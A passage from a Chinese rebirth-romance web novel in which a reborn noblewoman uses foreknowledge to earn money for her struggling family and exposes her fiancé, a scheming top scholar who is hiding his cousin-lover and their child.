谁知,谢泊淮跟了句,“周大人,你那位表妹,可送走了?” 第6章 姐妹 很平常的语气,却不知为何,周钰感觉有股扑面而来的凉意。 “送走了,昨儿个便送走了。”周钰谨慎回答。 “真送走了吗?”谢泊淮眸如幽潭,轻飘飘问完,看周钰不可察觉地颤了颤,敛去神色,转而和叶明岳说先走了。 叶明岳瞪了周钰一眼,叫上几个妹妹,一同离开。 周钰后背出了薄汗,快速回想昨日安顿许竹苓的经过,确认小心再小心了,才稍稍松口气。 谢泊淮与叶家往来并不深,周钰在叶家这几年,没听叶家人提起过,想来谢泊淮是另有事找叶家,他在心中默默安抚自己。 等气顺了,周钰带着小厮去了叶家库房。 从周钰到叶家起,叶家按照家中几位公子的定量,同样给周钰月银。后来他考试、拜师等费用,都从叶家公中出。 尽管中了状元,周钰有了自个的俸禄,叶家还是会按月送银钱贴补。今儿正好是叶家给钱的日子,周钰让风染去领钱,只是等了一刻钟,风染气愤归来。 “大人,管事的说您与叶大姑娘成亲在即,若还是按月给您银钱,对外说出去不好听。为了您的名声,往后没有月钱了。” 确实,这种事传出去,周钰会得个吃软饭的名声。 周钰面颊滚烫,觉得叶家这么做有道理,但心中又不太爽快。 从他进翰林院后,上下打点、与同僚交际......处处都要花钱。光是右相生辰时,他送的礼就超过一百两。光靠他那点俸禄,哪够人情开销? 周钰野心很大,奈何周家家底薄,拿不出钱支持他。 罢了,他与叶婉宁下个月完婚,到时候夫妻一体,没了叶家的月钱,叶婉宁也会拿出嫁妆贴补。叶家看中叶婉宁这个嫡长女,就算这几年日子再拮据,叶家也会给叶婉宁准备丰厚的嫁妆。 这么一想,周钰舒服许多。 在他走后,有丫鬟去找了叶婉宁,说了风染去领月钱的事。 叶婉宁与两个妹妹一同喝茶,二妹妹叶婉玉不加掩饰地“啧”了一声。 叶婉华则是好奇问,“大哥哥不是说,周大哥和我们是一家人,不管周大哥在哪,月钱都不会断吗?” 叶家大哥清楚周家情况,在周钰到叶家时,便开始给月钱,主要还是为了维护叶婉宁的面子,免得周钰囊中羞涩,让叶婉宁被京城人笑话, “是我的意思。”叶婉宁端着茶盏,小口抿着,“周郎已经入朝为官,总不好让人传他吃软饭。” 外边人倒是没说过这话,毕竟这是叶家和周钰之间的事,他们不说,旁人也不知道。现在叶婉宁自个提起来,丫鬟们都往她这瞥了一眼。 叶婉华心思单纯,没有多想,叶婉玉忍了又忍,憋着语气道,“早该停了的,他自个都领俸禄了,哪里缺这点银钱。” 叶家这几年进项少,大家日子都过得紧巴巴的,多一个人要开支,府里更要勒紧裤腰带,包括叶家几姐妹,一年里难得做一件新衣,更别说胭脂水粉那些。 爹娘在世时,他们兄妹都过过锦衣玉食的日子,这几年出门做客,姑娘们又爱比较,弄得叶婉玉都不爱出门了。 听出二妹妹有怨气,叶婉宁心中难受,妹妹们都到了相看的年纪,京城里都是人精,不拿出点好的排场,相看时就要低人一等。 “昨儿收回的宅院,我已经找房牙子去卖了。等拿到银钱,咱们每人添置一套衣裳先。”叶婉宁道。 “这哪成?”叶婉玉当即红了脸,她只是单纯不喜欢周钰,才想吐槽一句,并不是想要大家补贴回来,“这是母亲留给大姐你的陪嫁,你自个儿的产业,哪能拿出来公用。我只是嘴快,没有其他意思,衣裳不衣裳的,我不需要那个。” 何氏过世前,把产业都分配好了。虽说婉玉和婉华是庶出,但她是个心地好的,给每人都分了一处宅院,用作以后陪嫁。 “好妹妹,就算咱们都长得如花似玉,还是要打扮打扮的。”叶婉宁了解妹妹性格,笑着拉住妹妹的手,“这是我当姐姐的心意,你可不能拒绝。等做了新衣裳,我带你们出门去,说不定良缘就来了。” 叶家三姐妹都生得好,婉玉眉眼利落,婉华可爱玲珑,若不是叶家不似从前辉煌,提亲的人早就踏破叶家门槛。 饶是叶婉玉,都被说得害了羞,抽出手道,“我才不想嫁人,我就要在家中赖一辈子。” “好好好,那我给婉华相看。”叶婉宁刚说完,便看到三妹妹脸红得能滴血,小小声地让她别说了。 看着灵动活泼的妹妹们,叶婉宁眼眶微湿。 真好。 大家都还好好的。 前世她被周钰害得染脏病,名声尽毁的时候,是这两个妹妹冲到周家,平日里说话都不敢大声的婉华,再害怕,也跟着婉玉来找周钰要人。 周钰伪善不肯放人,说不管怎么样,他与叶婉宁夫妻一场,还是愿意给叶婉宁养老。 叶婉玉为了见她这个亲姐姐,顾不上世家礼仪,冲到厨房拿了刀,逼着周钰带路。 那时的叶婉宁面容憔悴,听到开门声,以为是送饭的婆子,直到妹妹冲过来,她才想到躲闪。 “别!别过来!”叶婉宁缩在床脚,“会......会传染的。” 婉玉却没听她的,还是想过来带她走。 可婉玉的夫君来了,直接把婉玉给扛走了,婉华也被强行拽走。 后来她们如何了,叶婉宁并不知道。 她被关在院子里,什么消息都传不进来,但她能想到婉玉和婉华并不好过。有她这么个“红杏出墙”的大姐,她们的名声也会受到影响,更别说她们还来周家大闹一场。 叶婉宁的宅院卖得很快,第二天房牙子就带着买家来按手印。拿到钱,叶婉宁喊来了绸缎庄的老板,给家中每个人都挑了布料,剩下的全买了京郊的一处荒地。 夜里没有旁人时,云芝表示很不理解,“姑娘买那些荒地做什么?便宜是便宜,但什么都种不了,您手上的银钱本就少,往后不是更没钱开销了吗?” “瞧你眉心皱的,小小年纪别总皱眉,你且等着吧,我不会让这笔钱打水漂的。”根据叶婉宁前世的记忆,和亲的隆玉公主马上到京城了,皇上对她有愧,让她自个挑一块地,为她建造公主府。这位隆玉公主不喜热闹,偏偏挑中京郊的地,挑中的便是叶婉宁现在买下的地。 届时,八十两银子的荒地,能给叶婉宁带来八百两的回报。 老天都给她一次重来的机会,总要好好利用,让家人日子过好些才是。 在叶婉宁计划下一步怎么挣钱时,谢泊淮站在刚买来的宅院里,青山不解地左右看看,拉着书砚退后几步,小声问,“你说咱们大人买宅院做什么?他都没成家,就想分家了吗?” 书砚给了青山一个白眼,不想多说,奈何青山没懂。 “就算买宅院,以大人的本事,也该买处阔绰点的,这里哪能配得上大人?”青山刚问完,就看到主子转身看来,赶忙抿紧唇瓣。 月色昏暗,衬得谢泊淮的轮廓更加分明,眼中掠过危险的暗光,薄唇微动,“有那么多问题,看来还是太闲了。” “没有!”青山疯狂摇头,两只手捂住嘴巴,“我......我再不多嘴了!” 谢泊淮瞟了青山一眼,大步出了院子。和亲匈奴的隆玉公主即将归京,近来城中有不少探子细作,正是他最忙的时候。 追着细作进入一处宅院,屋内烛火闪烁,映出一道丽影,谢泊淮这才发觉,自个到了叶家。 “谁?” 叶婉宁刚准备吹灯歇息,察觉到有风灌进屋里,单薄的里衣随风轻摆,她警惕地握紧匕首。 第7章 吃软饭 云芝去睡了,屋内只有叶婉宁一人。 重生后,她有了随身携带匕首的习惯。会半夜闯进叶家的,必定不是善茬,她挪到门后,一点点拉动门栓时,屏风后踉踉跄跄出现一个满身是血的男人。 “啪嗒。” 门开了,叶婉宁想都没想地转身要跑,却撞上一个坚硬的胸膛,“谢......” 没等叶婉宁说完,谢泊淮把人拉到身后,拔剑挡住细作的进攻,又随手把门关上。 细作身负重伤,已是强弩之末,却还在顽强抵抗。 谢泊淮原是要抓活口的,看到细作冲着叶婉宁去,一剑捅进细作的胸膛。 刹那间,鲜血溅了一地,叶婉宁白色的裙摆也多了些红点,她惊得靠住门,连呼吸都忘了。 死人了,还是谢泊淮动的手。 叶婉宁不是头一回看到杀人,但再多的经历,也难以在这会平静。 “谢......谢大人,您这......这是?” 她强装镇定,深呼吸时,胸前随之起伏,忘了自己只穿了里衣。 谢泊淮微微皱眉,“抓个细作,不曾想到了叶大姑娘这里。”扛起尸首到窗边,又停下,“今晚惊扰了姑娘,来日再还姑娘一份人情。” 叶婉宁想说不用了,她恨不得这件事没人知道,谢泊淮抓的细作,肯定事关重大。她一个姑娘家,大半夜被两个男人闯进闺房,传出去名声也不好听。 可谢泊淮来得快,去得也快。 过了好一会儿,叶婉宁才平复心情,喊来云芝一起清洗地面。 云芝得知谢大人刚在姑娘屋里杀了人,后怕不已,“这个谢大人太可怕了,不愧是活阎王。还好姑娘没事,但这事,他会帮忙瞒着吗?” 想到谢泊淮临走留的话,叶婉宁长叹一声,“应该会吧。” “往后奴婢还是睡外间守着您,这细作也是该死,哪里不能躲,偏偏躲您闺房来。”越说,云芝越生气,看主子的里衣脏了,心中默默祈祷谢大人别往外说。 这一晚,叶婉宁睡得很不踏实。 她梦到谢泊淮带兵出征,最后站在尸山上,尽管满身是血,还不肯放下手中的剑。在他头顶,盘旋着一群秃鹫,迫不及待地想分食那些尸体,扑面而来的压抑让她醒来时,大口地喘气。 云芝端着茶进来,“姑娘可是梦魇了?” “没什么,我缓一缓便好了。”叶婉宁喝完半盏茶,气才顺一些。 叶家的家务,都是叶婉宁的大嫂林氏在打理,林氏性子偏柔,好在叶家人口不多,管理起来还算简单。 去给祖母请安时,叶婉宁正好遇到林氏带着女儿萱姐儿过来,萱姐儿才三岁,粉雕玉琢的小娃娃,看到叶婉宁便笑。 “快让大姑姑抱抱,看看萱姐儿有没有瘦了。”叶婉宁抱起侄女,一同进了祖母的正屋。 祖母还在梳洗,叶婉宁同林氏一块坐着,林氏笑着说起叶婉宁陪嫁的事。 “虽说母亲都给妹妹你安排好了,但周钰今时不同往日,我与你大哥哥商量了,从我们房里再给你拿八百两当陪嫁。”林氏说话温柔,人也是笑盈盈的,这八百两是她从陪嫁里拿的。家中妹妹人都不错,特别是婉宁,在她管家时帮了不少忙,她想帮帮这个小姑子。 叶婉宁一听就知道怎么回事,大哥不过是从六品的小官,这些年贴补家中已经够多了,她哪里能用大嫂的陪嫁银子,“大哥大嫂的心意我领了,母亲给的陪嫁已经够我用了,周郎不是那种市侩的人,这八百两银子,我不能要。” “我与你大哥都说好......” “我知道你们心疼我,但日子是要自己经营的。咱们是一家人,不说客套话,家中什么情况,我们都清楚。这次我出嫁,大嫂给我八百两,以后二哥和妹妹们成婚,大嫂还有吗?”叶婉宁放下萱姐儿,拉着嫂嫂的手,“而且你们也清楚周家情况,带太多陪嫁,又要让人说周郎吃软饭了。” 家中兄妹多,林氏能拿出一份八百两,已经是凑了又凑,再拿不出其他的了。 她是想着,与夫君一母同胞的只有大妹妹,就算她多给一点,也是正常。 听婉宁为她着想,林氏心中难受,他们叶家也曾风光过,到底是她不善经营,没有法子让钱生钱,日子才越过越艰难。 两人说话间,叶婉玉姐妹几个来了,林氏不好再说陪嫁的事,大家一块用了早膳,叶明岳神秘兮兮地拉着叶婉宁出门去。 “我找了几个兄弟,把周钰用林家月钱的事说了出去,他不是自诩清高么,每月都去书局临摹字帖送人,今日我特意安排了人,妹妹待会准备看好戏就好。”叶明岳笑嘻嘻挑眉,很是期待。 叶婉宁戴了头纱,跟着哥哥到书局雅间,没过多久,听到楼下传来笑声。 透过木窗缝隙,她看到周钰刚坐下,便有几人围了过去,有两个叶婉宁曾见过,都是她二哥哥的好友,大哥哥口中的纨绔。 “周翰林好雅兴,每月都来临帖送人,还是你命好,有林家这种岳家。” 周钰不解抬头。 “诶,我听说你从到京城起,林家就给你月钱,难怪你从不缺银子花。我可太羡慕你了,林大姑娘貌美如花,又能拿钱补贴周家,这种未婚妻真是打着灯笼也难找。” 他们这里说话大声,引来了其他好奇的人围观。 众人都知道周钰曾借住林家,也知道林家一直帮扶周钰,但不清楚具体怎么帮,给了多少钱。 眼下周钰成了状元郎,是京城里的风光人物,谈到他与林家的密事,大家都想听个乐子。 周钰顿时面颊如火,平日里他想立个读书人的矜贵人设,对外都是一副廉者不受嗟来之食的态度,现在当众被说拿林家月钱过日子,不就是说他吃软饭么? “金兄哪里听来的胡话,林家是对我有恩情,但读书考取功名,还得自个努力才行。”这话是说,他有今日,主要还是靠自己。 金自观几个都是世人眼中不务正业的纨绔,时常被拿来与周钰比较,今日能让周钰难堪,谁也不肯放过机会。特别是金自观,他父亲与周钰是同僚,每每对着他,都是摇头叹气,拿周钰来贬低他。 “周翰林说得没错,不过你吃林家的,住林家的,要是没有林家,你既不能拜得名师,还得为生计头疼,总要花去不少心思。你别生气啊,我这是羡慕你,也想有吃软饭的机会呢。”金自观呵呵笑了起来。 有些事,大家心里清楚,但不会当着面说,这是给人留面子。像金自观说得那么直接,明显是找茬。 但众人都有八卦心思,想听金自观说更多,同时觉得金自观有辱斯文,果真是个纨绔。 周钰放下脸来,“金自观,你是何意?” “淡定,我一个没功名的纨绔,不过是嘴碎了点,能有什么意思?”金自观达到目的,转身就走,“大家都散了吧,我们可没周翰林有本事,围着他又学不来他的本事。我爹可是放了话,就算我饿死,也不许我贪女人的钱财。” “金自观!”周钰从面颊红到脖颈,尽管店小二打圆场让他别计较,可那么多人都听到他拿林家月钱,如何堵得住众人的嘴? 待是待不下去了,周钰只能端着他读书人的傲骨,留下一句“罢了,我不与这种纨绔计较。”,咬着牙走了。 二楼的叶明岳看得爽快,乐呵呵地和妹妹邀功,“我这兄弟会说吧?你看周钰那脸色,比猴屁股还要红!我保证,不出两日,就让这事传遍京城!” 第8章 挣钱 “金公子口舌确实好。”叶婉宁关上木窗,由衷夸赞。 “那可不。”叶明岳颇为自豪,“世人都说我们不学无术,是京中纨绔,但他们哪知道我们的好,金自观能说会道,许三郎精通音律,伍老幺于木工技艺更是绝了。” 说到好友们,叶明岳满脸笑容,顿了顿,又把话头扯回周钰身上,“我已安排说书先生,让他们随意编排周钰的事,咱们先弄臭周钰名声,再捅出许竹苓的事,让他没有招架之力。” “多谢二哥哥费心。”叶婉宁也是这么想的,“周钰能在我们面前装那么久,说明他是个沉得住气的,二哥哥别小看了他,他费尽心思想出人头地,不会轻易放弃的。” 叶明岳说他明白。 兄妹俩一同走出书局,远处传来马蹄飞驰,两人同时停住。 是谢泊淮带着镇抚司的人经过。 看到谢泊淮,叶婉宁不由想到昨晚的事,世人说他杀人饮血,是杀神转世。昨晚的谢泊淮,血溅右脸,却淡定从容。 确实让人害怕。 许是她多看了一会,谢泊淮转头看来,叶婉宁忙上了马车。 “昨日谢大人上门,二哥哥还没说怎么回事呢?” “他是来找大哥的,隆玉公主即将归京,城中不太安稳,他有些事问大哥。”马车徐徐往叶家去,叶明岳掏出两张银票,“听闻妹妹卖了宅院,虽然不知晓妹妹的用意,但这一百两是我自个攒的,都给你花。” 叶婉宁很惊讶,“二哥哥哪来那么多钱?” “你安心用着就是,爷们有爷们的来钱路子,总之是正经的。”瞧了眼窗外,叶明岳叫停马车,“天塌下来,还有我与你大哥哥撑着呢,妹妹莫要给自己太大压力,不嫁周钰,以后也会有更好的夫婿,哥哥们保管不会让你吃苦!” 怕叶婉宁把钱还回来,叶明岳飞快下了马车,拐过一条街,到了一家钱庄。 他没功名,也没私产,自然存不下余钱。一百两是他向几个好友借的,为了还钱,偷摸摸找了个账房先生的活干。 一个世家公子,能把头颅低成这样,可见家人在他心中的分量。 叶婉宁看中手中的银票,眼睛酸酸的,谁说她二哥哥是纨绔,在她这里,就是顶好的人物。 这一百两她先替二哥哥收着,日后挣了银子,再翻倍给二哥哥。 好在老天对她不错,两日后,隆玉公主如前世一样,挑中叶婉宁买的荒地。 房科的人到叶家,叶明岳代替妹妹出面,把文书那些办了。 前后不过六日的时间,叶婉宁把八十两银子,翻了十倍。 连叶家人都好奇,叶婉宁怎么会想到买那块地。 一家人坐在一起,叶婉宁给出提前想好的解释,“福生有个表叔精通果树花卉,我想经营一项生意,正好那块地便宜,才心动买下。能被隆玉公主看中,是误打误撞了。” 她这么说,其他人不疑有他。 钱是她卖了嫁妆换来的,叶家兄妹都不会眼红,只有成姨娘说了句,“大姑娘好福气,下次再有这种事,与妾身说一说可好,妾也想......” 只是还没说完,叶婉玉转头看了过去,成姨娘素来怕这个女儿,立马住了嘴,那么多人在,嘀咕都不敢嘀咕。 “大姐姐别听我姨娘的,她不是个有生意头脑的,还是让她留着钱养老。”叶婉玉向来直接,她也看得清,自个和姨娘都没做生意的本事,还不如不去做。 成姨娘听得委屈,她还不是为了女儿的嫁妆考虑,叶府不如以前辉煌,多点嫁妆,说不定能相看更好的人家。但女儿已经开了口,她是不敢再说了,只是心里盘算着,还是得想法子钱生钱,不然日子太紧巴巴。 叶婉宁浅浅笑着,她不是为了自己挣钱,故而众人散了后,她跟着林氏去了大房,拿出挣的八百两银票。 林氏不解,“妹妹,你这是?” “前几日出门,我听闻南边连着下了半个月的雨,想来今年米价又要上涨。”根据叶婉宁的记忆,再过十天,粮食开始涨价,最后翻了三倍不止,“大嫂不要与我推托,先听我说完。这些年大嫂管家,也知道叶家的情况,咱们还是未雨绸缪的好。这八百两银子,你拿去买粮食,若是日后粮价涨了,咱家还能挣点钱。即使没涨,自个留着慢慢吃就好。” 林氏说不能要,“这是你卖嫁妆的钱,我不能要。” “什么嫁妆不嫁妆,这些年,大嫂你私下贴补家里的,不都是从嫁妆里拿的吗?”叶婉宁按住大嫂的手,“我马上出嫁,往后顾不到家里,但家中照拂我那么多年,我也该为家里做点什么。大嫂不要再和我推辞了,我手里另外留了余钱。” 林氏还在迟疑,叶婉宁不给她拒绝的机会,带着云芝先走了。 说留了钱是假的,叶婉宁已经找了钱庄借钱,让福生另外去买粮食,叶家现在太缺钱了。京城里的世家,活得便是一张脸面,从上到下都得用钱打点。 想要日子过好点,哥哥们能轻松点,她得多挣钱才是。 家中辛苦养她多年,该她想法子出力。 在她安排福生借钱时,正好被谢泊淮碰见。 青山认出福生,嘴比脑袋快,“大人,叶大姑娘怎么那么缺钱?”刚卖了宅院,听说卖地挣了不少,怎么还来钱庄借钱? 谢泊淮眉头微拧,叶家的情况他知道一些,从叶沛荣过世后,日子日渐拮据。只是叶婉宁马上要出嫁,变现那么多钱做什么? 难道又为了周钰? 谢泊淮还在思索,听到钱庄里有人正好谈到周钰。 “你们还不知道吧,那位大名鼎鼎的状元郎,竟然是个吃软饭的。人还没娶进门,便吃叶家、用叶家的,叶家自个都不咋样,还月月给周钰月钱。” “真的假的?” “当然真的,我骗你做什么?大家伙都在说这事呢,说周家落魄,周钰到京城时,连像样的衣裳都没,一路讨饭来的京城。叶家仁义,不仅没退婚,还供周钰读书,请名师。” “可我看周钰,并不像个缺钱的啊,我有位亲戚和周钰在同一个书院读过书,说周钰有时还请客吃饭,衣裳旧了点就不穿了......” “所以我才说叶家好,为了周钰,花了不少钱!” ...... “大人,您不走吗?”青山看主子愣住,小声问了句。 谢泊淮离开钱庄,没等青山跟来,径直上了马。 次日叶婉宁和妹妹试新衣时,外院的婆子慌张地跑进院子,“不好了,云芝你快进去和大姑娘传个话,周大人昨夜被打了,说是都下不来床了。” 第9章 事发 云芝手里捧着茶水,听到周钰被打,先是愣住了,想笑又不敢笑出来,忙点头,趁着转身时偷偷笑了下。 真是畅快。 得谢谢打人的好汉,帮姑娘狠狠出气了。 屋里的叶婉宁姐妹听到婆子的话,还没等云芝开口,叶婉华被吓哭了,“天子脚下,怎么会有这种事?” 叶婉玉同样气愤,在她们这里,还不知道周钰与许竹苓的关系,任然把周钰当成未来姐夫,“报官,一定要报官!” “妹妹们别激动,周郎是朝廷命官,他被人打了,衙门的人肯定在查。”叶婉宁猜不到谁动的手,上辈子没发生这种事,但她心中同样兴奋,“我去周家看看,你们千万瞒着祖母,她老人家受不了惊吓,等我去周家确认周郎伤势后,我自个去回话。” “大姐姐放心,我们不是那种不知轻重的人。”叶婉玉给妹妹递了帕子,“快擦擦眼泪,你这般爱哭,以后找个厉害的婆家,岂不是天天抹眼泪?” “啊?”叶婉华圆圆的眼睛呆住了,叶婉宁让二妹妹别吓唬人,带着云芝往周家去。 此时的周家,许竹苓收到消息后,放心不下周钰,偷偷跑了过来。 看着床上脸肿成猪头的周钰,许竹苓心疼地抹眼泪,“查到谁干的了吗?” 周钰脸疼得发麻,他昨晚与同僚吃饭,马车突然坏了,想着路程不远,干脆走路回去,结果不知哪里冒出来的人,套了麻袋就打。 那些人抢了他的钱,扒了他的衣裳,若不是打更人发现他与风染,在街上吹一宿的冷风,不死也得烧坏脑袋。 他身上倒是还好,就是脸挨了好几拳,这会不想说话,和许竹苓摇了摇头。 “太嚣张了,皇城里竟然殴打朝廷命官,实在无法无天。”许竹苓让人拿药来换,风染进来后,小声说大夫还在等医药费。 重新安顿许竹苓要花钱,周钰平日吃穿也要用好的,原想着到了领叶家月钱的日子,结果叶家不给了。突然出了这种事,周钰伤在脸上,得用上好的药才能不毁容。 一下子,周钰拿不出医药费来。 风染也被打,但比周钰好多了,窘迫地看着主子。 许竹苓看看周钰,再去看风染,掏出钱袋,“我这里有些银钱,表哥的伤要紧,你快拿去给大夫。”看风染出去后,许竹苓让周钰放心,“表哥可能没听说,叶婉宁运气好,买的荒地被隆玉公主看中,挣了许多钱。下个月成婚,她肯定会带过来。” 说到这个,许竹苓心里犯酸,她并不觉得自己比叶婉宁差,只是投胎不如叶婉宁,不然以她的容貌性情,肯定会比叶婉宁多人倾慕。 等叶婉宁嫁过来后,她一定要亲自给叶婉宁下绝子药,才能安心。 周钰囊中羞涩,连医药费都得许竹苓来付,面子上过不去,摆了摆手,示意许竹苓先回去。 “我还是留在这里伺候表哥吧,风染手笨,哪里有我仔细。”说着,许竹苓给周钰掖了掖被角,“姑母马上到京城了,若是让她看到你这样,姑母会着急上火的。” 听此,周钰没再反对,“枫哥儿呢?” “我让奶母看着,不会有事。”许竹苓扫了眼屋子,她很少来这里,想到叶婉宁即将成为周家女主人,心里又妒又恨,面上却还要装出大度,“听闻大户人家嫁女,都会提前把嫁妆送到夫家,叶家何时送嫁妆来呢?” 周钰也在想这个事,周家没有家底,不说以后官场上的打点应酬,就说下个月成亲用的银钱,他现在都拿不出来。他是新科状元,不少人盯着的对象,若是婚宴太寒酸,岂不是被人笑话? 他想结交的,都是京城权贵,下了喜帖把人喊来,总得招待得舒舒服服。 这事他和叶家大郎暗示过,叶家大郎心疼妹妹,立马主动说会送银钱来办婚宴。离婚期只剩下二十余日,却还不见人送钱来。 怎么回事呢? “应该快了。”周钰想了想,叶家大郎这个人沉稳靠谱,不会说话不算话。 “可惜表哥成亲,我不能到场。”许竹苓哽咽着。 周钰拉住许竹苓的手,安抚道,“我与叶婉宁没有感情,不过是靠她和叶家在京城立足。等我站稳脚跟了,叶婉宁没了利用价值,肯定会想法子休了她。绝嗣的药我已经弄来了,大夫说慢慢加,保证不会被人发......” 一句话还没说完,风染急冲冲跑进来,“大人,叶大姑娘来了。” 听到这话,许竹苓“刷”地站了起来,想要离开,却听到叶婉宁走到门口,赶忙躲床后去。 叶婉宁刚进屋,就发现风染神色慌张,按理来说,风染应该带她进来,结果先跑来找周钰。 扫了眼屋子,倒是没什么铁别的。 只是这屋里,多了些香粉的味道,顿时明白怎么回事。 “婉宁,你......你怎么来了?”周钰心虚。 “听说你被人打了,我担心你,赶忙过来看看。”看着周钰脸肿得不像样,叶婉宁心下爽快,“查到是谁做的了吗?”这可是她的恩人啊。 周钰说没有,“衙门的人已经去查了,想来是些地痞,赌钱吃酒没了钱,才一时冲动抢钱。你不用为我操心,不然我会心疼的。” 叶婉宁:......这话太恶心人了。 不过她想着许竹苓能藏哪里,对着周钰敷衍地说了句“应该的”。 周钰有心事,没太仔细观察叶婉宁神色,“对了,大哥说会帮忙操持婚宴,他可曾与你说过,何时派人来?” 叶婉宁心中冷哼,周钰自个没有钱,指望叶家拿钱。家中心疼她,怕她婚后被人说道,东拼西凑拿钱办婚宴,周钰还要往好的挑,前世大哥甚至去借钱,只为了给她撑面子。 她不动声色地转身,“大哥近来忙,不曾与我说这些。” 周钰想皱眉表示不满,奈何眉头疼得厉害,看叶婉宁在走动,一颗心悬了起来,怕叶婉宁发现异常,赶忙说他没事,要休息了。 但叶婉宁已经发现了许竹苓,再多的算计,都不如老天爷送上门的机会。 只是她正打算喊出来时,院子里来了人,过了会,谢泊淮带着青山进了屋子。 “近来城中不太平,听闻周翰林夜遇抢劫,本官特来问问情况。”谢泊淮一本正经地看着周钰。 京城里有什么大事,镇抚司的人都会到场,最近城里细作多,谢泊淮会上门问话,倒也正常。 只是为难了叶婉宁,她是女眷,不好和谢泊淮他们待在一个屋子里,如果在这会揪出许竹苓,好还是不好? 心思快速过了一遍,虽然谢泊淮不好惹,但没有外人在场,周钰和许竹苓的事便闹不大。 不闹大,如何弄臭周钰的名声? 现在院子里都是镇抚司的人,事情闹起来,这些人肯定不会替周钰遮掩,毕竟周钰还没厉害到,让镇抚司的人给他面子。 默默地深吸一口气,叶婉宁刚做好打算,谢泊淮却突然拔剑掷出。 锋利的剑锋划破帘帐,随着一声尖叫,长剑“咚”地插进木梁。 许竹苓被吓得浑身发抖,顾不上躲藏,浑身发软地瘫坐在地上。 第10章 翻脸 周钰最先反应过来,许竹苓躲得好好的,谢泊淮此举让他如何与叶婉宁解释。 他沉下脸,恼羞成怒,“谢指挥使,你在我房中拔剑,这是做什么?” “镇抚司办事,需要向你解释?”谢泊淮冷眼扫过去。 嚣张。 目中无人。 谢泊淮一句反问,所有人都不敢出声。 只剩下许竹苓压制不住的哭泣声。 青山眼睛瞪得像铜铃,主子这是多讨厌周翰林?昨晚揍了周翰林,现在直接动手,半点面子都不给周翰林。要是周翰林因此上折子弹劾主子,主子又要被骂了。 周钰气得说不出话来,谢泊淮是御前红人,最得皇上信任。余光瞥到叶婉宁,脑袋疼得厉害,思绪转了又转。 叶婉宁不会放过机会,错愕地质问,“周……周郎,你不是说把许竹苓送走了?她怎么会在你屋里?” 孤男寡女共处一室,本就不清不白,还特意躲藏,更让人无法相信他们是清白的。 “婉宁,你听我解释。”周钰知道要哄着叶婉宁,可当着谢泊淮的面,他若是姿态放得太低,岂不是让谢泊淮笑话? 拖着身上的疼痛,周钰坐了起来,“谢大人,你也看到了,我这里没有陌生面孔,能不能请你先出去?” “周钰,你是想遮掩什么吗,才让谢大人出去?”叶婉宁作出伤心模样。 有谢泊淮在,周钰的话才有传出去的手段。 周钰急了,“我为人做事问心无愧,哪有要遮掩的?送表妹的马车出了意外,我才让表妹在家中住两天,怕你多想才没说。我与你那么多年的情谊,在你面前,我从来堂堂荡荡,现在你信不过我是吗?” 叶婉宁早就见识过周钰的一张巧嘴,“不是我信不信得过你,事实就摆在我眼前。要说马车坏了,你大可以把人安顿在客栈,明知道许竹苓对叶家使坏,你还如此维护她。我与你,无话可说!” 话说到这里就够了,叶婉宁转身要走,许竹苓跪着出来。 “妹妹别生表哥的气,千错万错都是我的错,表哥一时心软才收留我,你要打要骂都冲我来,别因此坏了你们的情谊。”许竹苓缓了过来,知道今天这事得她来担着,表哥的前程也是她的希望,就算心里再讨厌叶婉宁,也不能因此坏了叶婉宁和表哥的婚事。 顿了顿,许竹苓擦了擦眼泪,“妹妹与表哥婚期在即,若是传出点什么,对你们叶家姑娘名声也不好。” 叶婉宁已经走到门口,她没有回头,“被人捉奸的又不是我,少污蔑我叶家名声。许竹苓,你那么喜欢周钰,我把他让给你就是。” 话毕,叶婉宁带着云芝离开。 快到周府门口,青山喊住了她。 “叶大姑娘,您等等。”青山大口喘气,跑得太急,忘了主子交代的话,先说起自己的想法,“您方才说得太好了,哪个好姑娘会恩将仇报,许竹苓就不是个好的,周翰林同样……哎呦喂,小的说远了。大人让小的来和您说一声,镇府司捉拿细作与您无关,不用把今儿的事放在心上。” 若不是主子交代了,不让他多嘴,他都想把许竹苓和周钰有孩子的事告诉叶大姑娘。 “好的,替我谢谢你家大人。”叶婉宁刚和周钰翻脸,现在还有事要办,匆匆告别后,带着云芝上了马车。 “姑娘,我们现在是不是可以和老夫人说,您想退婚了?”云芝激动道,从知道周钰和许竹苓通奸,她等这一天太久了。 叶婉宁说还不到时候,“世人对女子苛刻,就算我把周钰和许竹苓捉奸在床,旁人只会说周钰风流,骂许竹苓狐狸精,却不会劝我退婚。大部分人眼里,周钰还是个良配,有功名,有前程,人还生得俊俏。要想退婚,我们还得添一把柴。” 主要是祖母的身子经不得气,叶婉宁得把事情定下来,再缓缓告诉祖母。 “姑娘是想拿枫哥儿说事?” “我派人给周母传话,说了许竹苓的事。虽然我许久没见周母,但这位极其护短,算算脚程,今日会到京城了。”叶婉宁的马车在路边停下,对面便是许竹苓母子住的宅院。 没过多久,有管事的去拍门,把里面的人赶了出来。 奶娘抱着枫哥儿,一脸懵逼,“你们家把房租给我主子,契约上按了拇指印的,怎么就反悔了呢?” “这是我们家的房子,租不租由我们说了算,谁也没想到,租房的会是个外室,坏了我家风水不说,我家夫人都嫌脏。”管事的带着一群家丁,把许竹苓的东西丢了一地,“麻溜地滚蛋,不然别怪我们不客气。” 外室? 有人听到,好奇问怎么回事。 管事直接答了,“我家夫人说了,宁愿房子空着没人租,也不能租给外室。” “夫人好有骨气。”路人夸道。 奶娘带着一个丫鬟,哪里是一群男人的对手,看着满地狼籍,打算先去找主子。 而叶婉宁再次看到枫哥儿,是一点同情都没有,她安排人给主人家传话,说许竹苓是别人养的外室。主人家最讨厌外室,才会来赶人。 她了解周钰,为了自己,其他人都不重要,就算是亲生儿子,真到了关键时刻,周钰为了保全自己,也不会认枫哥儿。 但周母不一样,能嫁给周父,是她娘家给周父出了赶考的钱财。她本人没什么见识,说话做事就是个普通村妇样子,对于枫哥儿和许竹苓,她是十分看重。 要不是周父给周钰定了娃娃亲,周母是想让许竹苓这个侄女当儿媳妇的。所以奶娘带着枫哥儿去周家,周母肯定会留下枫哥儿。 “让福生去王家说一声,奶娘抱着孩子去了周家。”叶婉宁道。 王家是租房子给许竹苓的人,王老爷和叶家大哥相熟,两家时常有来往。故而王老爷年轻养外室的事,叶婉宁听说过。 王夫人吃过外室的苦,最痛恨外室,若是知道许竹苓是周钰的人,必定会把这事传出去。 叶婉宁要借王夫人的嘴,不仅坐实周钰和许竹苓的关系,还要让京城的人都知道,他们已经有了孩子。 第11章 平妻 周钰卧房。 